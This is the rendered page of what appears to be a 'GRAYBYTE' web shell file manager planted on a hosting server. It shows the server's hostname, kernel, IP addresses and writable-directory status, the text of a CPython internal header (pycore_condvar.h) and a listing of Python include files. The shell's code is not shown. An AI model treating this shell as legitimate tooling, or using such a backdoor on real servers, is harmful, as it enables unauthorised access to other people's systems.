✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.173
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/alt/python39/include/python3.9/internal//pycore_condvar.h
#ifndef Py_INTERNAL_CONDVAR_H
#define Py_INTERNAL_CONDVAR_H

#ifndef Py_BUILD_CORE
#  error "this header requires Py_BUILD_CORE define"
#endif

#ifndef _POSIX_THREADS
/* This means pthreads are not implemented in libc headers, hence the macro
   not present in unistd.h. But they still can be implemented as an external
   library (e.g. gnu pth in pthread emulation) */
# ifdef HAVE_PTHREAD_H
#  include <pthread.h> /* _POSIX_THREADS */
# endif
#endif

#ifdef _POSIX_THREADS
/*
 * POSIX support
 */
#define Py_HAVE_CONDVAR

#include <pthread.h>

#define PyMUTEX_T pthread_mutex_t
#define PyCOND_T pthread_cond_t

#elif defined(NT_THREADS)
/*
 * Windows (XP, 2003 server and later, as well as (hopefully) CE) support
 *
 * Emulated condition variables ones that work with XP and later, plus
 * example native support on VISTA and onwards.
 */
#define Py_HAVE_CONDVAR

/* include windows if it hasn't been done before */
#define WIN32_LEAN_AND_MEAN
#include <windows.h>

/* options */
/* non-emulated condition variables are provided for those that want
 * to target Windows Vista.  Modify this macro to enable them.
 */
#ifndef _PY_EMULATED_WIN_CV
#define _PY_EMULATED_WIN_CV 1  /* use emulated condition variables */
#endif

/* fall back to emulation if not targeting Vista */
#if !defined NTDDI_VISTA || NTDDI_VERSION < NTDDI_VISTA
#undef _PY_EMULATED_WIN_CV
#define _PY_EMULATED_WIN_CV 1
#endif

#if _PY_EMULATED_WIN_CV

typedef CRITICAL_SECTION PyMUTEX_T;

/* The ConditionVariable object.  From XP onwards it is easily emulated
   with a Semaphore.
   Semaphores are available on Windows XP (2003 server) and later.
   We use a Semaphore rather than an auto-reset event, because although
   an auto-resent event might appear to solve the lost-wakeup bug (race
   condition between releasing the outer lock and waiting) because it
   maintains state even though a wait hasn't happened, there is still
   a lost wakeup problem if more than one thread are interrupted in the
   critical place.  A semaphore solves that, because its state is
   counted, not Boolean.
   Because it is ok to signal a condition variable with no one
   waiting, we need to keep track of the number of
   waiting threads.  Otherwise, the semaphore's state could rise
   without bound.  This also helps reduce the number of "spurious wakeups"
   that would otherwise happen.
 */

typedef struct _PyCOND_T
{
    HANDLE sem;
    int waiting; /* to allow PyCOND_SIGNAL to be a no-op */
} PyCOND_T;

#else /* !_PY_EMULATED_WIN_CV */

/* Use native Win7 primitives if build target is Win7 or higher */

/* SRWLOCK is faster and better than CriticalSection */
typedef SRWLOCK PyMUTEX_T;

typedef CONDITION_VARIABLE  PyCOND_T;

#endif /* _PY_EMULATED_WIN_CV */

#endif /* _POSIX_THREADS, NT_THREADS */

#endif /* Py_INTERNAL_CONDVAR_H */


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Jul 2025 5.04 AM
root / linksafe
0755
pegen_interface.h
0.931 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_abstract.h
0.468 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_accu.h
1.1 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_atomic.h
16.579 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_bytes_methods.h
3.305 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_byteswap.h
2.559 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_call.h
0.85 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_ceval.h
3.323 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_code.h
0.528 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_condvar.h
2.743 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_context.h
0.781 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_dtoa.h
0.631 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_fileutils.h
1.505 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_gc.h
6.491 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_getopt.h
0.479 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_gil.h
1.528 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_hamt.h
3.61 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_hashtable.h
4.099 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_import.h
0.462 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_initconfig.h
5.11 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_interp.h
5.175 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_long.h
1.512 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_object.h
4.06 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_pathconfig.h
1.891 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_pyerrors.h
1.984 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_pyhash.h
0.201 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_pylifecycle.h
3.653 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_pymem.h
3.284 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_pystate.h
3.499 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_runtime.h
4.348 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_sysmodule.h
0.535 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_traceback.h
2.984 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_tupleobject.h
0.432 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
pycore_warnings.h
0.618 KB
3 Jun 2025 6.47 PM
root / linksafe
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF